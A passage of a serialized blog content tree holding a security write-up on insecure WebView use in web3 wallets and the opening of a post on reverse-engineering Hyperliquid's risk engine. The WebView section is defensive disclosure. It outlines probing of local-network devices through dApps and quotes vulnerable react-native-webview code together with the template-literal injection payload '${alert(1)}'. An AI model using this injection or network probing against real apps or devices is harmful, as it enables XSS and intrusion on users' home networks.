",{"type":23,"tag":134,"props":157687,"children":157688},{"style":151},[157689],{"type":28,"value":33605},{"type":23,"tag":134,"props":157691,"children":157692},{"style":162},[157693],{"type":28,"value":315},{"type":23,"tag":134,"props":157695,"children":157696},{"style":168},[157697],{"type":28,"value":720},{"type":23,"tag":134,"props":157699,"children":157700},{"style":162},[157701],{"type":28,"value":157702},"latitude",{"type":23,"tag":134,"props":157704,"children":157705},{"style":168},[157706],{"type":28,"value":720},{"type":23,"tag":134,"props":157708,"children":157709},{"style":264},[157710],{"type":28,"value":157711},"toFixed",{"type":23,"tag":134,"props":157713,"children":157714},{"style":168},[157715],{"type":28,"value":272},{"type":23,"tag":134,"props":157717,"children":157718},{"style":205},[157719],{"type":28,"value":1214},{"type":23,"tag":134,"props":157721,"children":157722},{"style":168},[157723],{"type":28,"value":296},{"type":23,"tag":134,"props":157725,"children":157726},{"style":151},[157727],{"type":28,"value":33637},{"type":23,"tag":134,"props":157729,"children":157730},{"style":47878},[157731],{"type":28,"value":47881},{"type":23,"tag":134,"props":157733,"children":157734},{"style":1461},[157735],{"type":28,"value":157736},"Lon: ",{"type":23,"tag":134,"props":157738,"children":157739},{"style":151},[157740],{"type":28,"value":33605},{"type":23,"tag":134,"props":157742,"children":157743},{"style":162},[157744],{"type":28,"value":315},{"type":23,"tag":134,"props":157746,"children":157747},{"style":168},[157748],{"type":28,"value":720},{"type":23,"tag":134,"props":157750,"children":157751},{"style":162},[157752],{"type":28,"value":157753},"longitude",{"type":23,"tag":134,"props":157755,"children":157756},{"style":168},[157757],{"type":28,"value":720},{"type":23,"tag":134,"props":157759,"children":157760},{"style":264},[157761],{"type":28,"value":157711},{"type":23,"tag":134,"props":157763,"children":157764},{"style":168},[157765],{"type":28,"value":272},{"type":23,"tag":134,"props":157767,"children":157768},{"style":205},[157769],{"type":28,"value":1214},{"type":23,"tag":134,"props":157771,"children":157772},{"style":168},[157773],{"type":28,"value":296},{"type":23,"tag":134,"props":157775,"children":157776},{"style":151},[157777],{"type":28,"value":33637},{"type":23,"tag":134,"props":157779,"children":157780},{"style":1461},[157781],{"type":28,"value":9847},{"type":23,"tag":134,"props":157783,"children":157784},{"style":168},[157785],{"type":28,"value":182},{"type":23,"tag":134,"props":157787,"children":157788},{"class":136,"line":23273},[157789,157794,157798,157802,157807,157811,157815],{"type":23,"tag":134,"props":157790,"children":157791},{"style":168},[157792],{"type":28,"value":157793},"                }, ",{"type":23,"tag":134,"props":157795,"children":157796},{"style":162},[157797],{"type":28,"value":47925},{"type":23,"tag":134,"props":157799,"children":157800},{"style":151},[157801],{"type":28,"value":27244},{"type":23,"tag":134,"props":157803,"children":157804},{"style":264},[157805],{"type":28,"value":157806}," alert",{"type":23,"tag":134,"props":157808,"children":157809},{"style":168},[157810],{"type":28,"value":272},{"type":23,"tag":134,"props":157812,"children":157813},{"style":162},[157814],{"type":28,"value":47925},{"type":23,"tag":134,"props":157816,"children":157817},{"style":168},[157818],{"type":28,"value":6681},{"type":23,"tag":134,"props":157820,"children":157821},{"class":136,"line":23310},[157822],{"type":23,"tag":134,"props":157823,"children":157824},{"style":168},[157825],{"type":28,"value":47579},{"type":23,"tag":134,"props":157827,"children":157828},{"class":136,"line":23323},[157829],{"type":23,"tag":134,"props":157830,"children":157831},{"emptyLinePlaceholder":15},[157832],{"type":28,"value":865},{"type":23,"tag":134,"props":157834,"children":157835},{"class":136,"line":23336},[157836],{"type":23,"tag":134,"props":157837,"children":157838},{"style":168},[157839],{"type":28,"value":524},{"type":23,"tag":134,"props":157841,"children":157842},{"class":136,"line":23349},[157843,157848],{"type":23,"tag":134,"props":157844,"children":157845},{"style":264},[157846],{"type":28,"value":157847},"        main",{"type":23,"tag":134,"props":157849,"children":157850},{"style":168},[157851],{"type":28,"value":856},{"type":23,"tag":134,"props":157853,"children":157854},{"class":136,"line":23403},[157855,157859,157863],{"type":23,"tag":134,"props":157856,"children":157857},{"style":31871},[157858],{"type":28,"value":32324},{"type":23,"tag":134,"props":157860,"children":157861},{"style":151},[157862],{"type":28,"value":31911},{"type":23,"tag":134,"props":157864,"children":157865},{"style":31871},[157866],{"type":28,"value":5449},{"type":23,"tag":134,"props":157868,"children":157869},{"class":136,"line":23412},[157870,157874,157878],{"type":23,"tag":134,"props":157871,"children":157872},{"style":31871},[157873],{"type":28,"value":31925},{"type":23,"tag":134,"props":157875,"children":157876},{"style":151},[157877],{"type":28,"value":31895},{"type":23,"tag":134,"props":157879,"children":157880},{"style":31871},[157881],{"type":28,"value":5449},{"type":23,"tag":134,"props":157883,"children":157884},{"class":136,"line":31776},[157885,157889,157893],{"type":23,"tag":134,"props":157886,"children":157887},{"style":31871},[157888],{"type":28,"value":31925},{"type":23,"tag":134,"props":157890,"children":157891},{"style":151},[157892],{"type":28,"value":31878},{"type":23,"tag":134,"props":157894,"children":157895},{"style":31871},[157896],{"type":28,"value":5449},{"type":23,"tag":18368,"props":157898,"children":157899},{"id":1429},[157900],{"type":28,"value":1432},{"type":23,"tag":24,"props":157902,"children":157903},{},[157904],{"type":28,"value":157905},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":24,"props":157907,"children":157908},{},[157909,157911,157917],{"type":28,"value":157910},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":31,"props":157912,"children":157915},{"href":157913,"rel":157914},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[35],[157916],{"type":28,"value":47089},{"type":28,"value":720},{"type":23,"tag":30841,"props":157919,"children":157920},{"style":30843},[157921],{"type":23,"tag":1116,"props":157922,"children":157926},{"src":157923,"alt":157924,"style":157925},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":157928,"children":157929},{},[157930],{"type":28,"value":157931},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":61,"props":157933,"children":157935},{"id":157934},"local-network-access",[157936],{"type":28,"value":157937},"Local Network Access",{"type":23,"tag":24,"props":157939,"children":157940},{},[157941,157943,157950,157952,157958],{"type":28,"value":157942},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":31,"props":157944,"children":157947},{"href":157945,"rel":157946},"https://wicg.github.io/private-network-access/",[35],[157948],{"type":28,"value":157949},"Private Network Access",{"type":28,"value":157951}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":31,"props":157953,"children":157956},{"href":157954,"rel":157955},"https://x.com/taviso/status/2051310678800253318",[35],[157957],{"type":28,"value":157954},{"type":28,"value":157959},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":30841,"props":157961,"children":157962},{"style":30843},[157963],{"type":23,"tag":1116,"props":157964,"children":157967},{"src":157965,"alt":157924,"style":157966},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":157969,"children":157970},{},[157971],{"type":28,"value":157972},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":157974,"props":157975,"children":157978},"zoom-image",{"src":157976,"alt":157977},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":24,"props":157980,"children":157981},{},[157982],{"type":28,"value":157983},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":16158,"props":157985,"children":157986},{},[157987,157992,157997],{"type":23,"tag":4894,"props":157988,"children":157989},{},[157990],{"type":28,"value":157991},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":4894,"props":157993,"children":157994},{},[157995],{"type":28,"value":157996},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":4894,"props":157998,"children":157999},{},[158000],{"type":28,"value":158001},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":24,"props":158003,"children":158004},{},[158005],{"type":28,"value":158006},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":61,"props":158008,"children":158010},{"id":158009},"uxss-by-code-injection",[158011],{"type":28,"value":158012},"UXSS by Code Injection",{"type":23,"tag":24,"props":158014,"children":158015},{},[158016,158018,158024],{"type":28,"value":158017},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":92,"props":158019,"children":158021},{"className":158020},[],[158022],{"type":28,"value":158023},"injectJavascriptObject",{"type":28,"value":158025}," attribute worked. Here is the code snippet:",{"type":23,"tag":87,"props":158027,"children":158029},{"className":156265,"code":158028,"language":156267,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[158030],{"type":23,"tag":92,"props":158031,"children":158032},{"__ignoreMap":7},[158033,158053,158082,158116,158171,158276,158288,158301],{"type":23,"tag":134,"props":158034,"children":158035},{"class":136,"line":137},[158036,158040,158044,158049],{"type":23,"tag":134,"props":158037,"children":158038},{"style":151},[158039],{"type":28,"value":70293},{"type":23,"tag":134,"props":158041,"children":158042},{"style":597},[158043],{"type":28,"value":50555},{"type":23,"tag":134,"props":158045,"children":158046},{"style":264},[158047],{"type":28,"value":158048}," injectJavascriptObject",{"type":23,"tag":134,"props":158050,"children":158051},{"style":179},[158052],{"type":28,"value":15206},{"type":23,"tag":134,"props":158054,"children":158055},{"class":136,"line":147},[158056,158060,158064,158069,158073,158078],{"type":23,"tag":134,"props":158057,"children":158058},{"style":189},[158059],{"type":28,"value":38785},{"type":23,"tag":134,"props":158061,"children":158062},{"style":179},[158063],{"type":28,"value":232},{"type":23,"tag":134,"props":158065,"children":158066},{"style":264},[158067],{"type":28,"value":158068},"getSettings",{"type":23,"tag":134,"props":158070,"children":158071},{"style":179},[158072],{"type":28,"value":29662},{"type":23,"tag":134,"props":158074,"children":158075},{"style":264},[158076],{"type":28,"value":158077},"getJavaScriptEnabled",{"type":23,"tag":134,"props":158079,"children":158080},{"style":179},[158081],{"type":28,"value":91533},{"type":23,"tag":134,"props":158083,"children":158084},{"class":136,"line":185},[158085,158090,158095,158099,158104,158108,158112],{"type":23,"tag":134,"props":158086,"children":158087},{"style":597},[158088],{"type":28,"value":158089},"        String",{"type":23,"tag":134,"props":158091,"children":158092},{"style":162},[158093],{"type":28,"value":158094}," js",{"type":23,"tag":134,"props":158096,"children":158097},{"style":168},[158098],{"type":28,"value":171},{"type":23,"tag":134,"props":158100,"children":158101},{"style":1461},[158102],{"type":28,"value":158103}," \"(function(){",{"type":23,"tag":134,"props":158105,"children":158106},{"style":47878},[158107],{"type":28,"value":47881},{"type":23,"tag":134,"props":158109,"children":158110},{"style":1461},[158111],{"type":28,"value":19537},{"type":23,"tag":134,"props":158113,"children":158114},{"style":168},[158115],{"type":28,"value":9252},{"type":23,"tag":134,"props":158117,"children":158118},{"class":136,"line":221},[158119,158124,158128,158133,158137,158142,158146,158150,158154,158159,158163,158167],{"type":23,"tag":134,"props":158120,"children":158121},{"style":1461},[158122],{"type":28,"value":158123},"          \"    window.\"",{"type":23,"tag":134,"props":158125,"children":158126},{"style":168},[158127],{"type":28,"value":8365},{"type":23,"tag":134,"props":158129,"children":158130},{"style":179},[158131],{"type":28,"value":158132}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":134,"props":158134,"children":158135},{"style":168},[158136],{"type":28,"value":1586},{"type":23,"tag":134,"props":158138,"children":158139},{"style":1461},[158140],{"type":28,"value":158141}," \" = window.\"",{"type":23,"tag":134,"props":158143,"children":158144},{"style":168},[158145],{"type":28,"value":8365},{"type":23,"tag":134,"props":158147,"children":158148},{"style":179},[158149],{"type":28,"value":158132},{"type":23,"tag":134,"props":158151,"children":158152},{"style":168},[158153],{"type":28,"value":1586},{"type":23,"tag":134,"props":158155,"children":158156},{"style":1461},[158157],{"type":28,"value":158158}," \" || {};",{"type":23,"tag":134,"props":158160,"children":158161},{"style":47878},[158162],{"type":28,"value":47881},{"type":23,"tag":134,"props":158164,"children":158165},{"style":1461},[158166],{"type":28,"value":19537},{"type":23,"tag":134,"props":158168,"children":158169},{"style":168},[158170],{"type":28,"value":9252},{"type":23,"tag":134,"props":158172,"children":158173},{"class":136,"line":332},[158174,158178,158182,158186,158190,158195,158199,158204,158208,158212,158216,158220,158224,158228,158233,158237,158242,158246,158251,158255,158259,158264,158268,158272],{"type":23,"tag":134,"props":158175,"children":158176},{"style":1461},[158177],{"type":28,"value":158123},{"type":23,"tag":134,"props":158179,"children":158180},{"style":168},[158181],{"type":28,"value":8365},{"type":23,"tag":134,"props":158183,"children":158184},{"style":179},[158185],{"type":28,"value":158132},{"type":23,"tag":134,"props":158187,"children":158188},{"style":168},[158189],{"type":28,"value":1586},{"type":23,"tag":134,"props":158191,"children":158192},{"style":1461},[158193],{"type":28,"value":158194}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":134,"props":158196,"children":158197},{"style":168},[158198],{"type":28,"value":8365},{"type":23,"tag":134,"props":158200,"children":158201},{"style":179},[158202],{"type":28,"value":158203}," (injectedJavaScriptObject ",{"type":23,"tag":134,"props":158205,"children":158206},{"style":168},[158207],{"type":28,"value":8035},{"type":23,"tag":134,"props":158209,"children":158210},{"style":151},[158211],{"type":28,"value":69779},{"type":23,"tag":134,"props":158213,"children":158214},{"style":189},[158215],{"type":28,"value":97553},{"type":23,"tag":134,"props":158217,"children":158218},{"style":151},[158219],{"type":28,"value":69779},{"type":23,"tag":134,"props":158221,"children":158222},{"style":189},[158223],{"type":28,"value":34613},{"type":23,"tag":134,"props":158225,"children":158226},{"style":179},[158227],{"type":28,"value":232},{"type":23,"tag":134,"props":158229,"children":158230},{"style":1461},[158231],{"type":28,"value":158232},"\"`\"",{"type":23,"tag":134,"props":158234,"children":158235},{"style":168},[158236],{"type":28,"value":8365},{"type":23,"tag":134,"props":158238,"children":158239},{"style":179},[158240],{"type":28,"value":158241}," injectedJavaScriptObject ",{"type":23,"tag":134,"props":158243,"children":158244},{"style":168},[158245],{"type":28,"value":1586},{"type":23,"tag":134,"props":158247,"children":158248},{"style":1461},[158249],{"type":28,"value":158250}," \"`\"",{"type":23,"tag":134,"props":158252,"children":158253},{"style":179},[158254],{"type":28,"value":8297},{"type":23,"tag":134,"props":158256,"children":158257},{"style":168},[158258],{"type":28,"value":1586},{"type":23,"tag":134,"props":158260,"children":158261},{"style":1461},[158262],{"type":28,"value":158263}," \"; };",{"type":23,"tag":134,"props":158265,"children":158266},{"style":47878},[158267],{"type":28,"value":47881},{"type":23,"tag":134,"props":158269,"children":158270},{"style":1461},[158271],{"type":28,"value":19537},{"type":23,"tag":134,"props":158273,"children":158274},{"style":168},[158275],{"type":28,"value":9252},{"type":23,"tag":134,"props":158277,"children":158278},{"class":136,"line":438},[158279,158284],{"type":23,"tag":134,"props":158280,"children":158281},{"style":1461},[158282],{"type":28,"value":158283},"          \"})();\"",{"type":23,"tag":134,"props":158285,"children":158286},{"style":179},[158287],{"type":28,"value":182},{"type":23,"tag":134,"props":158289,"children":158290},{"class":136,"line":466},[158291,158296],{"type":23,"tag":134,"props":158292,"children":158293},{"style":264},[158294],{"type":28,"value":158295},"        evaluateJavascriptWithFallback",{"type":23,"tag":134,"props":158297,"children":158298},{"style":179},[158299],{"type":28,"value":158300},"(js);\n",{"type":23,"tag":134,"props":158302,"children":158303},{"class":136,"line":479},[158304],{"type":23,"tag":134,"props":158305,"children":158306},{"style":179},[158307],{"type":28,"value":12131},{"type":23,"tag":24,"props":158309,"children":158310},{},[158311,158313,158319,158321,158326,158328,158334],{"type":28,"value":158312},"It basically injects a javascript code with the ",{"type":23,"tag":92,"props":158314,"children":158316},{"className":158315},[],[158317],{"type":28,"value":158318},"injectedJavascriptObject",{"type":28,"value":158320}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":92,"props":158322,"children":158324},{"className":158323},[],[158325],{"type":28,"value":158318},{"type":28,"value":158327},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":92,"props":158329,"children":158331},{"className":158330},[],[158332],{"type":28,"value":158333},"${alert(1)}",{"type":28,"value":158335}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":24,"props":158337,"children":158338},{},[158339,158341,158348],{"type":28,"value":158340},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":31,"props":158342,"children":158345},{"href":158343,"rel":158344},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[35],[158346],{"type":28,"value":158347},"PR with the report and fix",{"type":28,"value":720},{"type":23,"tag":24,"props":158350,"children":158351},{},[158352],{"type":28,"value":158353},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":24,"props":158355,"children":158356},{},[158357,158359,158365],{"type":28,"value":158358},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":92,"props":158360,"children":158362},{"className":158361},[],[158363],{"type":28,"value":158364},"injectedJavaScriptObject",{"type":28,"value":158366}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":9072,"props":158368,"children":158369},{"id":28425},[158370],{"type":28,"value":18423},{"type":23,"tag":24,"props":158372,"children":158373},{},[158374],{"type":28,"value":158375},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":2575,"props":158377,"children":158378},{},[158379],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":158381},[158382,158386,158389,158390],{"id":156105,"depth":147,"text":156108,"children":158383},[158384,158385],{"id":156116,"depth":185,"text":156119},{"id":156191,"depth":185,"text":156194},{"id":156224,"depth":147,"text":156227,"children":158387},[158388],{"id":156414,"depth":185,"text":156417},{"id":157934,"depth":147,"text":157937},{"id":158009,"depth":147,"text":158012,"children":158391},[158392],{"id":28425,"depth":185,"text":18423},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":158397,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158398,"description":158399,"date":158400,"author":158401,"image":158402,"isFeatured":15,"onBlogPage":15,"tags":158406,"hideToc":15,"body":158410,"_type":2586,"_id":165049,"_source":2588,"_file":165050,"_stem":165051,"_extension":2591},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":158403,"width":158404,"height":158405},"/posts/hyperliquid-risk-engine/title.png",1456,816,[158407,158408,158409],"hyperliquid","reverse-engineering","defi",{"type":20,"children":158411,"toc":165021},[158412,158418,158426,158431,158436,158441,158453,158458,158471,158490,158496,158508,158521,158526,158557,158562,158575,158580,158771,158777,158782,158794,158800,158805,158811,158824,158858,158863,158868,158880,158886,158906,158914,158927,158933,158944,158950,158962,158967,158973,158993,159001,159007,159041,159045,159081,159086,159091,159096,159109,159146,159151,159165,159171,159176,159202,159210,159215,159243,159248,159253,159591,159596,159601,159621,159648,159653,159666,159678,159683,159688,159694,159699,159704,159718,159723,159729,159757,159794,159805,159809,159814,159819,159825,159991,160026,160031,160037,160043,160232,160245,160250,160256,160277,160282,160288,160293,160298,160310,160315,160320,160326,160331,160336,160342,160348,160361,160394,160399,162975,163243,163248,164578,164583,164588,164600,164691,164703,164708,164714,164719,164727,164732,164740,164746,164780,164791,164799,164805,164811,164816,164824,164829,164834,164842,164854,164860,164865,164871,164882,164887,164893,164898,164903,164909,164914,164917,164922,164927,164933,164938,164950,164955,164960],{"type":23,"tag":61,"props":158413,"children":158415},{"id":158414},"perpetuals",[158416],{"type":28,"value":158417},"Perpetuals",{"type":23,"tag":78,"props":158419,"children":158420},{},[158421],{"type":23,"tag":24,"props":158422,"children":158423},{},[158424],{"type":28,"value":158425},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":24,"props":158427,"children":158428},{},[158429],{"type":28,"value":158430},"What does that even have to do with reverse engineering?",{"type":23,"tag":61,"props":158432,"children":158433},{"id":158407},[158434],{"type":28,"value":158435},"Hyperliquid",{"type":23,"tag":24,"props":158437,"children":158438},{},[158439],{"type":28,"value":158440},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":24,"props":158442,"children":158443},{},[158444,158446,158451],{"type":28,"value":158445},"The node is tasked with a ",{"type":23,"tag":55,"props":158447,"children":158448},{},[158449],{"type":28,"value":158450},"very hard problem",{"type":28,"value":158452},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":24,"props":158454,"children":158455},{},[158456],{"type":28,"value":158457},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":24,"props":158459,"children":158460},{},[158461,158463,158469],{"type":28,"value":158462},"Beyond that, the ",{"type":23,"tag":92,"props":158464,"children":158466},{"className":158465},[],[158467],{"type":28,"value":158468},"hl-node",{"type":28,"value":158470}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":24,"props":158472,"children":158473},{},[158474,158476,158481,158483,158488],{"type":28,"value":158475},"Armed with some curiosity, a good amount of ",{"type":23,"tag":55,"props":158477,"children":158478},{},[158479],{"type":28,"value":158480},"inference",{"type":28,"value":158482},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":55,"props":158484,"children":158485},{},[158486],{"type":28,"value":158487},"interactive interface",{"type":28,"value":158489},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":61,"props":158491,"children":158493},{"id":158492},"the-million-dollar-question",[158494],{"type":28,"value":158495},"The Million Dollar Question",{"type":23,"tag":24,"props":158497,"children":158498},{},[158499,158501,158506],{"type":28,"value":158500},"Let's say a terrible trader opens a ",{"type":23,"tag":55,"props":158502,"children":158503},{},[158504],{"type":28,"value":158505},"50x",{"type":28,"value":158507}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":24,"props":158509,"children":158510},{},[158511,158513,158519],{"type":28,"value":158512},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":92,"props":158514,"children":158516},{"className":158515},[],[158517],{"type":28,"value":158518},"compute_margin_requirement_by_mode",{"type":28,"value":158520}," function.",{"type":23,"tag":24,"props":158522,"children":158523},{},[158524],{"type":28,"value":158525},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":158527,"props":158528,"children":158529},"tip",{},[158530],{"type":23,"tag":24,"props":158531,"children":158532},{},[158533,158535,158540,158542,158549,158551,158556],{"type":28,"value":158534},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":55,"props":158536,"children":158537},{},[158538],{"type":28,"value":158539},"click through",{"type":28,"value":158541}," each action performed by ",{"type":23,"tag":31,"props":158543,"children":158546},{"href":158544,"rel":158545},"https://github.com/renato-osec/patina-research",[35],[158547],{"type":28,"value":158548},"our Rust reverse engineering agent",{"type":28,"value":158550},". Return to the regular view by clicking ",{"type":23,"tag":92,"props":158552,"children":158554},{"className":158553},[],[158555],{"type":28,"value":5444},{"type":28,"value":720},{"type":23,"tag":158558,"props":158559,"children":158561},"bndb-viewer-embed",{"addr":158560,"line-start":1214,"line-end":134066},"0x555556bb4d20",[],{"type":23,"tag":24,"props":158563,"children":158564},{},[158565,158567,158573],{"type":28,"value":158566},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":92,"props":158568,"children":158570},{"className":158569},[],[158571],{"type":28,"value":158572},"OptionUnitQty",{"type":28,"value":158574},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":24,"props":158576,"children":158577},{},[158578],{"type":28,"value":158579},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":87,"props":158581,"children":158582},{},[158583],{"type":23,"tag":92,"props":158584,"children":158587},{"className":158585},[1183,158586],"math-display",[158588],{"type":23,"tag":134,"props":158589,"children":158592},{"className":158590},[158591],"katex-display",[158593],{"type":23,"tag":134,"props":158594,"children":158596},{"className":158595},[1189],[158597],{"type":23,"tag":134,"props":158598,"children":158600},{"className":158599,"ariaHidden":1195},[1194],[158601,158632],{"type":23,"tag":134,"props":158602,"children":158604},{"className":158603},[1200],[158605,158609,158619,158623,158628],{"type":23,"tag":134,"props":158606,"children":158608},{"className":158607,"style":93972},[1205],[],{"type":23,"tag":134,"props":158610,"children":158612},{"className":158611},[1211,28],[158613],{"type":23,"tag":134,"props":158614,"children":158616},{"className":158615},[1211],[158617],{"type":28,"value":158618},"liq_equity",{"type":23,"tag":134,"props":158620,"children":158622},{"className":158621,"style":1390},[1292],[],{"type":23,"tag":134,"props":158624,"children":158626},{"className":158625},[1395],[158627],{"type":28,"value":257},{"type":23,"tag":134,"props":158629,"children":158631},{"className":158630,"style":1390},[1292],[],{"type":23,"tag":134,"props":158633,"children":158635},{"className":158634},[1200],[158636,158641],{"type":23,"tag":134,"props":158637,"children":158640},{"className":158638,"style":158639},[1205],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":134,"props":158642,"children":158644},{"className":158643},[1211],[158645,158649,158767],{"type":23,"tag":134,"props":158646,"children":158648},{"className":158647},[21195,113077],[],{"type":23,"tag":134,"props":158650,"children":158652},{"className":158651},[113082],[158653],{"type":23,"tag":134,"props":158654,"children":158656},{"className":158655},[1233,21120],[158657,158755],{"type":23,"tag":134,"props":158658,"children":158660},{"className":158659},[1238],[158661,158750],{"type":23,"tag":134,"props":158662,"children":158665},{"className":158663,"style":158664},[1243],"height:1.427em;",[158666,158706,158717],{"type":23,"tag":134,"props":158667,"children":158669},{"style":158668},"top:-2.314em;",[158670,158674],{"type":23,"tag":134,"props":158671,"children":158673},{"className":158672,"style":111730},[1252],[],{"type":23,"tag":134,"props":158675,"children":158677},{"className":158676},[1211],[158678,158683,158687,158692,158696],{"type":23,"tag":134,"props":158679,"children":158681},{"className":158680},[1211],[158682],{"type":28,"value":291},{"type":23,"tag":134,"props":158684,"children":158686},{"className":158685,"style":1293},[1292],[],{"type":23,"tag":134,"props":158688,"children":158690},{"className":158689},[1298],[158691],{"type":28,"value":110821},{"type":23,"tag":134,"props":158693,"children":158695},{"className":158694,"style":1293},[1292],[],{"type":23,"tag":134,"props":158697,"children":158699},{"className":158698},[1211,28],[158700],{"type":23,"tag":134,"props":158701,"children":158703},{"className":158702},[1211],[158704],{"type":28,"value":158705},"leverage",{"type":23,"tag":134,"props":158707,"children":158708},{"style":113132},[158709,158713],{"type":23,"tag":134,"props":158710,"children":158712},{"className":158711,"style":111730},[1252],[],{"type":23,"tag":134,"props":158714,"children":158716},{"className":158715,"style":113142},[113141],[],{"type":23,"tag":134,"props":158718,"children":158720},{"style":158719},"top:-3.677em;",[158721,158725],{"type":23,"tag":134,"props":158722,"children":158724},{"className":158723,"style":111730},[1252],[],{"type":23,"tag":134,"props":158726,"children":158728},{"className":158727},[1211],[158729,158735,158745],{"type":23,"tag":134,"props":158730,"children":158732},{"className":158731},[1211],[158733],{"type":28,"value":158734},"∣",{"type":23,"tag":134,"props":158736,"children":158738},{"className":158737},[1211,28],[158739],{"type":23,"tag"